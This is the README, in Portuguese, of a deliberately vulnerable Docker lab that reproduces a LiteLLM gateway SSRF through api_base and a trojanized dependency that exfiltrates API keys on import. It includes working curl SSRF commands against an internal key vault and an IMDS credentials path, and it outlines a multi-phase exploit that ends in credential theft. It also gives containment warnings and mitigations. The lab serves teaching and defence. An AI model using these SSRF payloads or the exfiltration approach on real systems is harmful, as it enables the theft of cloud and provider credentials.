
Deliberately vulnerable Docker lab reproducing CVE-2026-33634: LiteLLM gateway SSRF via api_base plus a trojanized dependency, with a multi-phase exploit for credential theft.
api_base (PoC / Lab)⚠️ Laboratório deliberadamente vulnerável, para uso educacional e autorizado. Rode apenas na sua máquina, contra os containers deste repositório. Leia SECURITY-NOTES.md antes de começar.
🚫 NUNCA rode este lab numa VM de nuvem nem numa máquina compartilhada. O gateway tem SSRF irrestrito de propósito: se houver um IMDS real (
169.254.169.254) ou serviços sensíveis no loopback/na LAN, o SSRF os alcança de verdade. As portas são publicadas só em127.0.0.1; mantenha assim. Use um host isolado/descartável.
CVSS 9.4 (crítico). Comprometimento de supply chain do gateway LiteLLM
(março/2026): uma dependência maliciosa numa lib de gateway expôs o
portfólio inteiro de credenciais de provedores de IA. O padrão recorrente
dessa camada aparece junto: chave da OpenAI no proxy e SSRF no parâmetro
api_base. Este lab reproduz as duas falhas e as encadeia num exploit.
litellm-telemetry-helper (em malicious-dep/) simula a
dependência transitiva comprometida. Na narrativa do incidente, um pin fraco
(>=0.9.6) teria deixado o resolvedor puxar a versão maliciosa 0.9.7 no lugar
da 0.9.6 limpa. O payload dispara no import (basta o gateway resolver a
dependência) e, numa thread de background, exfiltra todo o ambiente
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) para um coletor do
atacante — silenciosamente, sem quebrar a aplicação.
api_baseO proxy (gateway/app.py) aceita api_base (o base_url do
provedor) vindo do chamador, sem allowlist. O atacante controla para onde o
gateway faz requisições e o gateway ainda:
Authorization, eCom isso dá para: alcançar serviços internos (/admin/keys), roubar
credenciais de nuvem no IMDS (169.254.169.254), port-scanear a rede
interna e vazar a chave de cada provedor apontando o api_base de volta
para o atacante.
HOST (você / atacante)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── rede docker "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil da dep maliciosa) │ (litellm │
│ • /collect (chave vazada via SSRF) │ :4000) │
│ • /oob (confirmação SSRF cego) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NÃO publicado) ◄───────┤ │
│ imds.lab:80 /latest/... (NÃO publicado) ◄───────┤ │
│ provider-mock.lab:9100 (upstream "normal") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab e imds.lab não têm porta publicada — só o SSRF do gateway
os alcança. É esse o ponto do laboratório.
Pré-requisitos: Docker + Docker Compose v2, e Python 3.9+ com httpx para o exploit.
cd CVE-2026-33634
# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build # ou: make up
# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt
# 3) roda o exploit completo
python3 exploit/exploit.py # ou: make exploit
Rodar fases isoladas:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # só rouba o cofre interno
python3 exploit/exploit.py --only cloud # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain # só verifica o beacon da dep
O loot completo é salvo em loot.json. Acompanhe o atacante recebendo os dados:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
Este lab prioriza clareza didática e reprodutibilidade. Onde ele abstrai o incidente real, é de propósito — e vale conhecer as diferenças:
import litellm_telemetry_helper explicitamente, em vez de o pacote ser uma
dependência transitiva escondida na árvore do litellm real. O efeito
(payload no import) é idêntico; a cadeia de resolução foi encurtada.>=0.9.6 é a
narrativa (linha comentada em gateway/requirements.txt); no lab a dep é
instalada de ./malicious-dep via Dockerfile — não há índice PyPI resolvendo
0.9.7 sobre 0.9.6. Para exercitar a resolução de verdade, suba um índice
local (pypiserver/devpi) com as duas versões.api_base, o lab usa a URL verbatim
quando há path explícito (para demonstrar leitura de /admin/keys e do IMDS
num único parâmetro). No caminho OpenAI-compatível, o LiteLLM real concatena
um sufixo fixo (/chat/completions) e faz POST — o controle costuma ser do
host (chave vazada, SSRF por host) e o path arbitrário aparece em rotas de
/health. O impacto demonstrado (vazamento do portfólio + pivô
interno/cloud) é fiel; a construção exata da URL é simplificada.SSRF (api_base)
169.254.0.0/16 (IMDS);
resolva o DNS e valide o IP antes de conectar (cuidado com rebinding).hop-limit=1 no host de nuvem.Supply chain
--require-hashes, lockfile); nada de >=.pip install como execução de código (install hooks); use sandbox/CI isolado.Credenciais/segredo (baseline)
CVE-2026-33634/
├── docker-compose.yml # orquestra tudo na rede labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # proxy LiteLLM-style VULNERÁVEL (SSRF + import da dep)
├── malicious-dep/ # a dependência trojanizada (payload no import)
├── collector/ # coletor do atacante (/beacon /collect /oob /loot)
├── internal-service/ # /admin/keys interno (só via SSRF)
├── imds/ # mock do metadata service de nuvem (só via SSRF)
├── provider-mock/ # upstream "normal" (contraste)
├── exploit/exploit.py # exploit multi-fase (async)
├── SECURITY-NOTES.md # vulns intencionais, contenção e autorização
└── README.md
| Fase | Técnica |
|---|
recon | Fingerprint do gateway; enumera modelos/provedores; detecta o sink api_base. |
ssrf | Confirma o SSRF de forma cega (out-of-band): força um callback com token único ao coletor. |
scan | Port-scan da rede interna através do gateway (concorrente). |
internal | SSRF → internal.lab/admin/keys: exfiltra o cofre de credenciais inteiro. |
cloud | SSRF → IMDS: rouba credenciais STS temporárias da role da instância. |
keyleak | Aponta api_base para o atacante; o gateway vaza a chave de cada provedor no Authorization. |
supplychain | Lê o loot: a dep trojanizada já exfiltrou o ambiente no import. |
report | Consolida o impacto e grava loot.json. |